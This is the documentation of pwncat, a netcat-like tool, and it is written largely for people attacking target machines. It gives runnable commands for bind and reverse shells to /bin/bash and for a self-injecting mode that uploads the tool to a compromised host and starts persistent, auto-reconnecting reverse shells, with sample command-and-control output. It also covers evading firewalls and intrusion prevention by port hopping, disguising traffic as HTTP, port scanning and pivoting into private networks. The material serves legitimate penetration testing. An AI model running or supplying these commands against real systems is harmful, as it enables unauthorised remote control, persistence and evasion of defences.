Deploy to target
# Copy base64 data to clipboard from where you have internet access curl https://raw.githubusercontent.com/cytopia/pwncat/master/bin/pwncat | base64 # Paste it on the target machine echo "<BASE64 STRING>" | base64 -d > pwncat chmod +x pwncat
Inject to target
# [1] If you found a vulnerability on the target to start a very simple reverse shell, # such as via bash, php, perl, python, nc or similar, you can instruct your local # pwncat listener to use this connection to deploy itself on the target automatically # and start an additional unbreakable reverse shell back to you. pwncat -l 4444 --self-inject /bin/bash:10.0.0.1:4445
Summon shells
# Bind shell (accepts new clients after disconnect) pwncat -l -e '/bin/bash' 8080 -k
# Reverse shell (Ctrl+c proof: reconnects back to you) pwncat -e '/bin/bash' example.com 4444 --reconn --recon-wait 1
# Reverse UDP shell (Ctrl+c proof: reconnects back to you) pwncat -e '/bin/bash' example.com 4444 -u --ping-intvl 1
Port scan
# [TCP] IPv4 + IPv6 pwncat -z 10.0.0.1 80,443,8080 pwncat -z 10.0.0.1 1-65535 pwncat -z 10.0.0.1 1+1023 # [UDP] IPv4 + IPv6 pwncat -z 10.0.0.1 80,443,8080 -u pwncat -z 10.0.0.1 1-65535 -u pwncat -z 10.0.0.1 1+1023 -u # Use only IPv6 or IPv4 pwncat -z 10.0.0.1 1-65535 -4 pwncat -z 10.0.0.1 1-65535 -6 -u # Add version detection pwncat -z 10.0.0.1 1-65535 --banner
Local port forward -L
(listening proxy)
# Make remote MySQL server (remote port 3306) available on current machine # on every interface on port 5000 pwncat -L 0.0.0.0:5000 everythingcli.org 3306
# Same, but convert traffic on your end to UDP pwncat -L 0.0.0.0:5000 everythingcli.org 3306 -u
Remote port forward -R
(double client proxy)
# Connect to Remote MySQL server (remote port 3306) and then connect to another # pwncat/netcat server on 10.0.0.1:4444 and bridge traffic pwncat -R 10.0.0.1:4444 everythingcli.org 3306
# Same, but convert traffic on your end to UDP pwncat -R 10.0.0.1:4444 everythingcli.org 3306 -u
SSH Tunnelling for fun and profit
pwncat
example: Port forwarding magic
Features
At a glance
pwncat
has many features, below is only a list of outstanding characteristics.
Feature | Description |
---|---|
PSE | Fully scriptable with Pwncat Scripting Engine to allow all kinds of fancy stuff on send and receive |
port scanning | TCP und UDP port scanning with basic version detection support |
Self-injecting rshell | Self-injecting mode to deploy itself and start an unbreakable reverse shell back to you automatically |
Bind shell | Create bind shells |
Reverse shell | Create reverse shells |
Port Forward | Local and remote port forward (Proxy server/client) |
Ctrl+c | Reverse shell can reconnect if you accidentally hit Ctrl+c |
Detect Egress | Scan and report open egress ports on the target (port hopping) |
Evade FW | Evade egress firewalls by round-robin outgoing ports (port hopping) |
Evade IPS | Evade Intrusion Prevention Systems by being able to round-robin outgoing ports on connection interrupts (port hopping) |
UDP rev shell | Try this with the traditional netcat |
Stateful UDP | Stateful connect phase for UDP client mode |
TCP / UDP | Full TCP and UDP support |
IPv4 / IPv6 | Dual or single stack IPv4 and IPv6 support |
Python 2+3 | Works with Python 2, Python 3, pypy2 and pypy3 |
Cross OS | Work on Linux, MacOS and Windows as long as Python is available |
Compatability | Use the netcat , ncat or socat as a client or server together with pwncat |
Portable | Single file which only uses core packages – no external dependencies required. |
Feature comparison matrix
pwncat | netcat | ncat | socat | |
---|---|---|---|---|
Scripting engine | Python | Lua | ||
IP ToS | ||||
IPv4 | ||||
IPv6 | ||||
Unix domain sockets | ||||
Linux vsock | ||||
Socket source bind | ||||
TCP | ||||
UDP | ||||
SCTP | ||||
SSL | ||||
HTTP | ||||
HTTPS | * | |||
Telnet negotiation | ||||
Proxy support | ||||
Local port forward | ||||
Remote port forward | ||||
Inbound port scan | ||||
Outbound port scan | ||||
Version detection | ||||
Chat | ||||
Command execution | ||||
Hex dump | * | |||
Broker | ||||
Simultaneous conns | ||||
Allow/deny | ||||
Re-accept | ||||
Self-injecting | ||||
UDP reverse shell | ||||
Respawning client | ||||
Port hopping | ||||
Emergency shutdown |
*
Feature is currently under development.
Behaviour
Like the original implementation of netcat
, when using TCP, pwncat
(in client and listen mode) will automatically quit, if the network connection has been terminated, properly or improperly. In case the remote peer does not terminate the connection, or in UDP mode, netcat
and pwncat
will stay open. The behaviour differs a bit when STDIN is closed.
netcat
: If STDIN is closed, but connection stays open,netcat
will stay openpwncat
: If STDIN is closed, but connection stays open,pwncat
will close
You can emulate the netcat
behaviour with --no-shutdown
command line argument.
Have a look at the following commands to better understand this behaviour:
# [Valid HTTP request] Quits, web server keeps connection intact, but STDIN is EOF printf "GET / HTTP/1.1\n\n" | pwncat www.google.com 80 # [Valid HTTP request] Does not quit, web server keeps connection intact, but STDIN is EOF printf "GET / HTTP/1.1\n\n" | pwncat www.google.com 80 --no-shutdown
# [Invalid HTTP request] Quits, because the web server closes the connection and STDIN is EOF printf "GET / \n\n" | pwncat www.google.com 80
# [TCP] # Both instances will quit after successful file transfer. pwncat -l 4444 > output.txt pwncat localhost 4444 < input.txt # [TCP] # Neither of both, client and server will quit after successful transfer # and they will be stuck, waiting for more input or output. # When exiting one (e.g.: via Ctrl+c), the other one will quit as well. pwncat -l 4444 --no-shutdown > output.txt pwncat localhost 4444 --no-shutdown < input.txt
Be advised that it is not reliable to send files via UDP
# [UDP] (--no-shutdown has no effect, as this is the default behaviour in UDP) # Neither of both, client and server will quit after successful transfer # and they will be stuck, waiting for more input or output. # When exiting one (e.g.: via Ctrl+c), the other one will still stay open in UDP mode. pwncat -u -l 4444 > output.txt pwncat -u localhost 4444 < input.txt
There are many ways to alter this default behaviour. Have a look at the usage section for more advanced settings.
Documentation
Documentation will evolve over time.
- API docs can be found here: pwncat.api.html
- Python type coverage can be found here: pwncat.type.html
- HTML man page can be found here: pwncat.man.html
- Raw man page can be found here: pwncat.1
Usage
Keys
Behaviour | |||
---|---|---|---|
Quit (SIGINT) | Ctrl+c | Ctrl+c | Ctrl+c |
Quit (SIGQUIT) | Ctrl+\ | ? | ? |
Quit (SIGQUIT) | Ctrl+4 | ? | ? |
Quit STDIN[1] | Ctrl+d | Ctrl+d | Ctrl+z and Ctrl+Enter |
Send (NL) | Ctrl+j | ? | ? |
Send (EOL) | Ctrl+m | ? | ? |
Send (EOL) | Enter | Enter | Enter |
[1] Only works when not using
--no-shutdown
and--keep
. Will then shutdown it’s socket for sending, signaling the remote end and EOF on its socket.
Command line arguments
Type pwncat -h
or click below to see all available options.Click here to expand usage
Examples
Upgrade your shell to interactive
This is a universal advice and not only works with
pwncat
, but with all other common tools.
When connected with a reverse or bind shell you’ll notice that no interactive commands will work and hitting Ctrl+c will terminate your session. To fix this, you’ll need to attach it to a TTY (make it interactive). Here’s how:
python3 -c 'import pty; pty.spawn("/bin/bash")'
Ctrl+z
# get your current terminal size (rows and columns) stty size # for bash/sh (enter raw mode and disable echo'ing) stty raw -echo fg # for zsh (enter raw mode and disable echo'ing) stty raw -echo; fg reset export SHELL=bash export TERM=xterm stty rows <num> columns <cols> # <num> and <cols> values found above by 'stty size'
UDP reverse shell
Without tricks a UDP reverse shell is not really possible. UDP is a stateless protocol compared to TCP and does not have a connect()
method as TCP does. In TCP mode, the server will know the client IP and port, once the client issues a connects()
. In UDP mode, as there is no connect()
, the client simply sends data to an address/port without having to connect first. Therefore, in UDP mode, the server will not be able to know the IP and port of the client and hence, cannot send data to it first. The only way to make this possible is to have the client send some sort of data to the server first, so that the server can see what IP/port has sent data to it.
pwncat
emulates the TCP connect()
by having the client send a null byte to the server once or periodically via --ping-intvl
or --ping-init
.
# The client # --exec # Provide this executable # --udp # Use UDP mode # --ping-init # Send an initial null byte to the server pwncat --exec /bin/bash --udp --ping-init 10.0.0.1 4444
Unbreakable TCP reverse shell
Why unbreakable? Because it will keep coming back to you, even if you kill your listening server temporarily. In other words, the client will keep trying to connect to the specified server until success. If the connection is interrupted, it will keep trying again.
# The client # --exec # Provide this executable # --nodns # Keep the noise down and don't resolve hostnames # -reconn # Automatically reconnect back to you indefinitely # --reconn-wait # If connection is lost, connect back to you every 2 seconds pwncat --exec /bin/bash --nodns --reconn --reconn-wait 2 10.0.0.1 4444
Unbreakable UDP reverse shell
Why unbreakable? Because it will keep coming back to you, even if you kill your listening server temporarily. In other words, the client will keep sending null bytes to the server to constantly announce itself.
# The client # --exec # Provide this executable # --nodns # Keep the noise down and don't resolve hostnames # --udp # Use UDP mode # --ping-intvl # Ping the server every 2 seconds pwncat --exec /bin/bash --nodns --udp --ping-intvl 2 10.0.0.1 4444
Self-injecting reverse shell
Let’s imagine you are able to create a very simple and unstable reverse shell from the target to your machine, such as a web shell via a PHP script or similar. Knowing, that this will not persist very long or might break due to unstable network connection, you could use pwncat
to hook into this connection and deploy itself unbreakably on the target – fully automated.
All you have to do, is use pwncat
as your local listener and start it with the --self-inject
switch. As soon as the client (e.g.: the reverse web shell) connects to it, it will do a couple of things:
- Enumerate Python availability and versions on the target
- Dump itself base64 encoded onto the target
- Use the target’s Python to decode itself.
- Use the target’s Python to start itself as an unbreakable reverse shell back to you
Once this is done, you can keep using the current connection or simply abandon it and start a new listener (yes, you don’t need to start the listener before starting the reverse shell) to have the new pwncat
client connect to you. The new listener also doesn’t have to be pwncat
, it can also be netcat
or ncat
.
The --self-inject
switch:
pwncat -l 4444 --self-inject <cmd>:<host>:<port>
<cmd>
: This is the command to start on the target (like-e
/--exec
, so you want it to becmd.exe
or/bin/bash
)<host>
: This is for your local machine, the IP address to where the reverse shell shall connect back to<port>
: This is for your local machine, the port on which the reverse shell shall connect back to
So imagine your Kali machine is 10.0.0.1. You instruct your webshell that you inject onto a Linux server to connect to you at port 4444
:
# Start this locally, before starting the reverse webshell pwncat -l 4444 --self-inject /bin/bash:10.0.0.1:4445
You will then see something like this:
[PWNCAT CnC] Probing for: /bin/python
[PWNCAT CnC] Probing for: /bin/python2
[PWNCAT CnC] Probing for: /bin/python2.7
[PWNCAT CnC] Probing for: /bin/python3
[PWNCAT CnC] Probing for: /bin/python3.5
[PWNCAT CnC] Probing for: /bin/python3.6
[PWNCAT CnC] Probing for: /bin/python3.7
[PWNCAT CnC] Probing for: /bin/python3.8
[PWNCAT CnC] Probing for: /usr/bin/python
[PWNCAT CnC] Potential path: /usr/bin/python
[PWNCAT CnC] Found valid Python2 version: 2.7.16
[PWNCAT CnC] Creating tmpfile: /tmp/tmp3CJ8Us
[PWNCAT CnC] Creating tmpfile: /tmp/tmpgHg7YT
[PWNCAT CnC] Uploading: /home/cytopia/tmp/pwncat/bin/pwncat -> /tmp/tmpgHg7YT (3422/3422)
[PWNCAT CnC] Decoding: /tmp/tmpgHg7YT -> /tmp/tmp3CJ8Us
Starting pwncat rev shell: nohup /usr/bin/python /tmp/tmp3CJ8Us --exec /bin/bash --reconn --reconn-wait 1 10.0.0.1 4445 &
And you are set. You can now start another listener locally at 4445
(again, it will connect back to you endlessly, so it is not required to start the listener first).
# either netcat nc -lp 4445 # or ncat ncat -l 4445 # or pwncat pwncat -l 4445
Unlimited self-injecting reverse shells
Instead of just asking for a single self-injecting reverse shell, you can instruct pwncat
to spawn as many unbreakable reverse shells connecting back to you as you desire.
The --self-inject
argument allows you to not only define a single port, but also
- A comma separated list of ports:
4445,4446,4447,4448
- A range definition:
4446-4448
- An increment:
4445+3
In order to spawn 4 reverse shells you would start your listener just as described above, but instead of a single port, you define multiple:
# Comma separated pwncat -l 4444 --self-inject /bin/bash:10.0.0.1:4445,4446,4447,4448 # Range pwncat -l 4444 --self-inject /bin/bash:10.0.0.1:4445-4448 # Increment pwncat -l 4444 --self-inject /bin/bash:10.0.0.1:4445+3
Each of the above three commands will achieve the same behaviour: spawning 4 reverse shells inside the target. Once the client connects, the output will look something like this:
[PWNCAT CnC] Probing for: /bin/python
[PWNCAT CnC] Probing for: /bin/python2
[PWNCAT CnC] Probing for: /bin/python2.7
[PWNCAT CnC] Probing for: /bin/python3
[PWNCAT CnC] Probing for: /bin/python3.5
[PWNCAT CnC] Probing for: /bin/python3.6
[PWNCAT CnC] Probing for: /bin/python3.7
[PWNCAT CnC] Probing for: /bin/python3.8
[PWNCAT CnC] Probing for: /usr/bin/python
[PWNCAT CnC] Potential path: /usr/bin/python
[PWNCAT CnC] Found valid Python2 version: 2.7.16
[PWNCAT CnC] Creating tmpfile: /tmp/tmp3CJ8Us
[PWNCAT CnC] Creating tmpfile: /tmp/tmpgHg7YT
[PWNCAT CnC] Uploading: /home/cytopia/tmp/pwncat/bin/pwncat -> /tmp/tmpgHg7YT (3422/3422)
[PWNCAT CnC] Decoding: /tmp/tmpgHg7YT -> /tmp/tmp3CJ8Us
Starting pwncat rev shell: nohup /usr/bin/python /tmp/tmp3CJ8Us --exec /bin/bash --reconn --reconn-wait 1 10.0.0.1 4445 &
Starting pwncat rev shell: nohup /usr/bin/python /tmp/tmp3CJ8Us --exec /bin/bash --reconn --reconn-wait 1 10.0.0.1 4446 &
Starting pwncat rev shell: nohup /usr/bin/python /tmp/tmp3CJ8Us --exec /bin/bash --reconn --reconn-wait 1 10.0.0.1 4447 &
Starting pwncat rev shell: nohup /usr/bin/python /tmp/tmp3CJ8Us --exec /bin/bash --reconn --reconn-wait 1 10.0.0.1 4448 &
Logging
Note: Ensure you have a reverse shell that keeps coming back to you. This way you can always change your logging settings without loosing the shell.
Log level and redirection
If you feel like, you can start a listener in full TRACE logging mode to figure out what’s going on or simply to troubleshoot. Log message are colored depending on their severity. Colors are automatically turned off, if stderr is not a pty, e.g.: if piping those to a file. You can also manually disable colored logging for terminal outputs via the --color
switch.
pwncat -vvvv -l 4444
You will see (among all the gibberish) a TRACE message:
2020-05-11 08:40:57,927 DEBUG NetcatServer.receive(): 'Client connected: 127.0.0.1:46744' 2020-05-11 08:40:57,927 TRACE [STDIN] 1854:producer(): Command output: b'\x1b[32m[0]\x1b[0m\r\r\n' 2020-05-11 08:40:57,927 TRACE [STDIN] 2047:run_action(): [STDIN] Producer received: '\x1b[32m[0]\x1b[0m\r\r\n' 2020-05-11 08:40:57,927 DEBUG [STDIN] 815:send(): Trying to send 15 bytes to 127.0.0.1:46744 2020-05-11 08:40:57,927 TRACE [STDIN] 817:send(): Trying to send: b'\x1b[32m[0]\x1b[0m\r\r\n' 2020-05-11 08:40:57,927 DEBUG [STDIN] 834:send(): Sent 15 bytes to 127.0.0.1:46744 (0 bytes remaining) 2020-05-11 08:40:57,928 TRACE [STDIN] 1852:producer(): Reading command output
As soon as you saw this on the listener, you can issue commands to the client. All the debug messages are also not necessary, so you can safely Ctrl+c terminate your server and start it again in silent mode:
pwncat -l 4444
Now wait a maximum a few seconds, depending at what interval the client comes back to you and voila, your session is now again without logs.
Having no info messages at all, is also sometimes not desirable. You might want to know what is going on behind the scences or? Safely Ctrl+c terminate your server and redirect the notifications to a logfile:
pwncat -l -vvv 4444 2> comm.txt
Now all you’ll see in your terminal session are the actual command inputs and outputs. If you want to see what’s going on behind the scene, open a second terminal window and tail the comm.txt
file:
# View communication info tail -fn50 comm.txt 2020-05-11 08:40:57,927 DEBUG NetcatServer.receive(): 'Client connected: 127.0.0.1:46744' 2020-05-11 08:40:57,927 TRACE [STDIN] 1854:producer(): Command output: b'\x1b[32m[0]\x1b[0m\r\r\n' 2020-05-11 08:40:57,927 TRACE [STDIN] 2047:run_action(): [STDIN] Producer received: '\x1b[32m[0]\x1b[0m\r\r\n' 2020-05-11 08:40:57,927 DEBUG [STDIN] 815:send(): Trying to send 15 bytes to 127.0.0.1:46744 2020-05-11 08:40:57,927 TRACE [STDIN] 817:send(): Trying to send: b'\x1b[32m[0]\x1b[0m\r\r\n' 2020-05-11 08:40:57,927 DEBUG [STDIN] 834:send(): Sent 15 bytes to 127.0.0.1:46744 (0 bytes remaining) 2020-05-11 08:40:57,928 TRACE [STDIN] 1852:producer(): Reading command output
Socket information
Another useful feature is to display currently configured socket and network settings. Use the --info
switch with either socket
, ipv4
, ipv6
, tcp
or all
to display all available settings.
Note: In order to view those settings, you must at least be at INFO
log level (-vv
).
An example output in IPv4/TCP mode without any custom settings is shown below:
INFO: [bind-sock] Sock: SO_DEBUG: 0
INFO: [bind-sock] Sock: SO_ACCEPTCONN: 1
INFO: [bind-sock] Sock: SO_REUSEADDR: 1
INFO: [bind-sock] Sock: SO_KEEPALIVE: 0
INFO: [bind-sock] Sock: SO_DONTROUTE: 0
INFO: [bind-sock] Sock: SO_BROADCAST: 0
INFO: [bind-sock] Sock: SO_LINGER: 0
INFO: [bind-sock] Sock: SO_OOBINLINE: 0
INFO: [bind-sock] Sock: SO_REUSEPORT: 0
INFO: [bind-sock] Sock: SO_SNDBUF: 16384
INFO: [bind-sock] Sock: SO_RCVBUF: 131072
INFO: [bind-sock] Sock: SO_SNDLOWAT: 1
INFO: [bind-sock] Sock: SO_RCVLOWAT: 1
INFO: [bind-sock] Sock: SO_SNDTIMEO: 0
INFO: [bind-sock] Sock: SO_RCVTIMEO: 0
INFO: [bind-sock] Sock: SO_ERROR: 0
INFO: [bind-sock] Sock: SO_TYPE: 1
INFO: [bind-sock] Sock: SO_PASSCRED: 0
INFO: [bind-sock] Sock: SO_PEERCRED: 0
INFO: [bind-sock] Sock: SO_BINDTODEVICE: 0
INFO: [bind-sock] Sock: SO_PRIORITY: 0
INFO: [bind-sock] Sock: SO_MARK: 0
INFO: [bind-sock] IPv4: IP_OPTIONS: 0
INFO: [bind-sock] IPv4: IP_HDRINCL: 0
INFO: [bind-sock] IPv4: IP_TOS: 0
INFO: [bind-sock] IPv4: IP_TTL: 64
INFO: [bind-sock] IPv4: IP_RECVOPTS: 0
INFO: [bind-sock] IPv4: IP_RECVRETOPTS: 0
INFO: [bind-sock] IPv4: IP_RETOPTS: 0
INFO: [bind-sock] IPv4: IP_MULTICAST_IF: 0
INFO: [bind-sock] IPv4: IP_MULTICAST_TTL: 1
INFO: [bind-sock] IPv4: IP_MULTICAST_LOOP: 1
INFO: [bind-sock] IPv4: IP_DEFAULT_MULTICAST_TTL: 0
INFO: [bind-sock] IPv4: IP_DEFAULT_MULTICAST_LOOP: 0
INFO: [bind-sock] IPv4: IP_MAX_MEMBERSHIPS: 0
INFO: [bind-sock] IPv4: IP_TRANSPARENT: 0
INFO: [bind-sock] TCP: TCP_NODELAY: 0
INFO: [bind-sock] TCP: TCP_MAXSEG: 536
INFO: [bind-sock] TCP: TCP_CORK: 0
INFO: [bind-sock] TCP: TCP_KEEPIDLE: 7200
INFO: [bind-sock] TCP: TCP_KEEPINTVL: 75
INFO: [bind-sock] TCP: TCP_KEEPCNT: 9
INFO: [bind-sock] TCP: TCP_SYNCNT: 6
INFO: [bind-sock] TCP: TCP_LINGER2: 60
INFO: [bind-sock] TCP: TCP_DEFER_ACCEPT: 0
INFO: [bind-sock] TCP: TCP_WINDOW_CLAMP: 0
INFO: [bind-sock] TCP: TCP_INFO: 10
INFO: [bind-sock] TCP: TCP_QUICKACK: 1
INFO: [bind-sock] TCP: TCP_FASTOPEN: 0
Port forwarding magic
Local TCP port forwarding
Scenario
- Alice can be reached from the Outside (TCP/UDP)
- Bob can only be reached from Alice’s machine
| |
Outside | DMZ | private subnet
| |
| |
+-----------------+ TCP +-----------------+ TCP +-----------------+
| The cat | -----|----> | Alice | -----|----> | Bob |
| | | | pwncat | | | MySQL |
| 56.0.0.1 | | | 72.0.0.1:3306 | | | 10.0.0.1:3306 |
+-----------------+ | +-----------------+ | +-----------------+
pwncat 72.0.0.1 3306 | pwncat \ |
| -L 72.0.0.1:3306 \ |
| 10.0.0.1 3306 |
Local UDP port forwarding
Scenario
- Alice can be reached from the Outside (but only via UDP)
- Bob can only be reached from Alice’s machine
| |
Outside | DMZ | private subnet
| |
| |
+-----------------+ UDP +-----------------+ TCP +-----------------+
| The cat | -----|----> | Alice | -----|----> | Bob |
| | | | pwncat -L | | | MySQL |
| 56.0.0.1 | | | 72.0.0.1:3306 | | | 10.0.0.1:3306 |
+-----------------+ | +-----------------+ | +-----------------+
pwncat -u 72.0.0.1 3306 | pwncat -u \ |
| -L 72.0.0.1:3306 \ |
| 10.0.0.1 3306 |
Remote TCP port forward
Scenario
- Alice cannot be reached from the Outside
- Alice is allowed to connect to the Outside (TCP/UDP)
- Bob can only be reached from Alice’s machine
| |
Outside | DMZ | private subnet
| |
| |
+-----------------+ TCP +-----------------+ TCP +-----------------+
| The cat | <----|----- | Alice | -----|----> | Bob |
| | | | pwncat | | | MySQL |
| 56.0.0.1 | | | 72.0.0.1:3306 | | | 10.0.0.1:3306 |
+-----------------+ | +-----------------+ | +-----------------+
pwncat -l 4444 | pwncat --reconn \ |
| -R 56.0.0.1:4444 \ |
| 10.0.0.1 3306 |
Remote UDP port forward
Scenario
- Alice cannot be reached from the Outside
- Alice is allowed to connect to the Outside (UDP: DNS only)
- Bob can only be reached from Alice’s machine
| |
Outside | DMZ | private subnet
| |
| |
+-----------------+ UDP +-----------------+ TCP +-----------------+
| The cat | <----|----- | Alice | -----|----> | Bob |
| | | | pwncat | | | MySQL |
| 56.0.0.1 | | | 72.0.0.1:3306 | | | 10.0.0.1:3306 |
+-----------------+ | +-----------------+ | +-----------------+
pwncat -u -l 53 | pwncat -u --reconn \ |
| -R 56.0.0.1:4444 \ |
| 10.0.0.1 3306 |
Outbound port hopping
If you have no idea what outbound ports are allowed from the target machine, you can instruct the client (e.g.: in case of a reverse shell) to probe outbound ports endlessly.
# Reverse shell on target (the client) # --exec # The command shell the client should provide # --reconn # Instruct it to reconnect endlessly # --reconn-wait # Reconnect every 0.1 seconds # --reconn-robin # Use these ports to probe for outbount connections pwncat --exec /bin/bash --reconn --reconn-wait 0.1 --reconn-robin 54-1024 10 10.0.0.1 53
Once the client is up and running, either use raw sockets to check for inbound traffic or use something like Wireshark or tcpdump to find out from where the client is able to connect back to you,
If you found one or more ports that the client is able to connect to you, simply start your listener locally and wait for it to come back.
pwncat -l <ip> <port>
If the client connects to you, you will have a working reverse shell. If you stop your local listening server accidentally or on purpose, the client will probe ports again until it connects successfully. In order to kill the reverse shell client, you can use --safe-word
(when starting the client).
If none of this succeeds, you can add other measures such as using UDP or even wrapping your packets into higher level protocols, such as HTTP or others. See PSE or examples below for how to transform your traffic.
Pwncat Scripting Engine (PSE)
pwncat
offers a Python based scripting engine to inject your custom code before sending and after receiving data.
How it works
You will simply need to provide a Python file with the following entrypoint function:
def transform(data, pse): # Example to reverse a string return data[::-1]
Both, the function name must be named transform
and the parsed arguments must be named data
and pse
. Other than that you can add as much code as you like. Each instance of pwncat
can take two scripts:
--script-send
: script will be applied before sending--script-recv
: script will be applied after receiving
See here for API and more details
Example 1: Self-built asymmetric encryption
PSE: asym-enc source code
This will encrypt your traffic asymmetrically. It is just a very basic ROT13 implementation with different shift lengths on both sides to emulate asymmetry. You could do the same and implement GPG based asymmetric encryption for PSE.
# server pwncat -vvvv -l localhost 4444 \ --script-send pse/asym-enc/pse-asym_enc-server_send.py \ --script-recv pse/asym-enc/pse-asym_enc-server_recv.py
# client pwncat -vvvv localhost 4444 \ --script-send pse/asym-enc/pse-asym_enc-client_send.py \ --script-recv pse/asym-enc/pse-asym_enc-client_recv.py
Example 2: Self-built HTTP POST wrapper
PSE: http-post source code
This will wrap all traffic into a valid HTTP POST request, making it look like normal HTTP traffic.
# server pwncat -vvvv -l localhost 4444 \ --script-send pse/http-post/pse-http_post-pack.py \ --script-recv pse/http-post/pse-http_post-unpack.py
# client pwncat -vvvv localhost 4444 \ --script-send pse/http-post/pse-http_post-pack.py \ --script-recv pse/http-post/pse-http_post-unpack.py
Port scanning
TCP
$ sudo netstat -tlpn Active Internet connections (only servers) Proto Recv-Q Send-Q Local Address Foreign Address State tcp 0 0 127.0.0.1:631 0.0.0.0:* LISTEN tcp 0 0 127.0.0.1:25 0.0.0.0:* LISTEN tcp 0 0 127.0.0.1:4444 0.0.0.0:* LISTEN tcp 0 0 0.0.0.0:902 0.0.0.0:* LISTEN tcp6 0 0 ::1:631 :::* LISTEN tcp6 0 0 ::1:25 :::* LISTEN tcp6 0 0 ::1:4444 :::* LISTEN tcp6 0 0 :::1053 :::* LISTEN tcp6 0 0 :::902 :::* LISTEN
UDP
The following UDP ports are exposing:
$ sudo netstat -ulpn Active Internet connections (only servers) Proto Recv-Q Send-Q Local Address Foreign Address udp 0 0 0.0.0.0:631 0.0.0.0:* udp 0 0 0.0.0.0:5353 0.0.0.0:* udp 0 0 0.0.0.0:39856 0.0.0.0:* udp 0 0 0.0.0.0:68 0.0.0.0:* udp 0 0 0.0.0.0:68 0.0.0.0:* udp6 0 0 :::1053 :::* udp6 0 0 :::5353 :::* udp6 0 0 :::57728 :::*
nmap
$ time sudo nmap -T5 localhost --version-intensity 0 -p- -sU Starting Nmap 7.70 ( https://nmap.org ) at 2020-05-24 17:03 CEST Warning: 127.0.0.1 giving up on port because retransmission cap hit (2). Nmap scan report for localhost (127.0.0.1) Host is up (0.000035s latency). Other addresses for localhost (not scanned): ::1 Not shown: 65529 closed ports PORT STATE SERVICE 68/udp open|filtered dhcpc 631/udp open|filtered ipp 1053/udp open|filtered remote-as 5353/udp open|filtered zeroconf 39856/udp open|filtered unknown 40488/udp open|filtered unknown Nmap done: 1 IP address (1 host up) scanned in 179.15 seconds real 2m52.446s user 0m0.844s sys 0m2.571s
netcat
$ time nc -z localhost 1-65535 -u -4 -v Connection to localhost 68 port [udp/bootpc] succeeded! Connection to localhost 631 port [udp/ipp] succeeded! Connection to localhost 1053 port [udp/*] succeeded! Connection to localhost 5353 port [udp/mdns] succeeded! Connection to localhost 39856 port [udp/*] succeeded! real 0m18.734s user 0m1.004s sys 0m2.634s
pwncat
$ time pwncat -z localhost 1-65535 -u -4 Scanning 65535 ports [+] 68/UDP open (IPv4) [+] 631/UDP open (IPv4) [+] 1053/UDP open (IPv4) [+] 5353/UDP open (IPv4) [+] 39856/UDP open (IPv4) real 0m7.309s user 0m6.465s sys 0m4.794s